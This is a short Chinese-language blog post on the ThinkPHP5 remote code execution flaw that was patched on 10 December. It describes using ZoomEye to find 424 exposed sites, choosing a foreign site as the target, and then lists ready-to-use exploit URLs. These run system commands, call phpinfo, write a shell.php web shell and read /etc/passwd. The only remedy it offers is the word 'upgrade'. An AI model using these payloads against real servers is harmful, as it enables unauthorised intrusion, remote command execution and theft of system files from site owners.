0x01前言
12 月 10 日,ThinkPHP 官方发布了安全更新,其中修复了 ThinkPHP5 框架的一个高危漏洞:
https://blog.thinkphp.cn/869075
0x02 漏洞复现:
zoomeye搜索关键字“你值得信赖的PHP框架” ,搜到424个thinkphp5的站:
找个国外地址作为目标:
exp:
?s=index/\think\Request/input&filter=phpinfo&data=1
?s=index/\think\Request/input&filter=system&data=id
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
exp代码:shell
index.php?s=index/\think\Request/input&filter=system&data=cat /etc/passwd
升级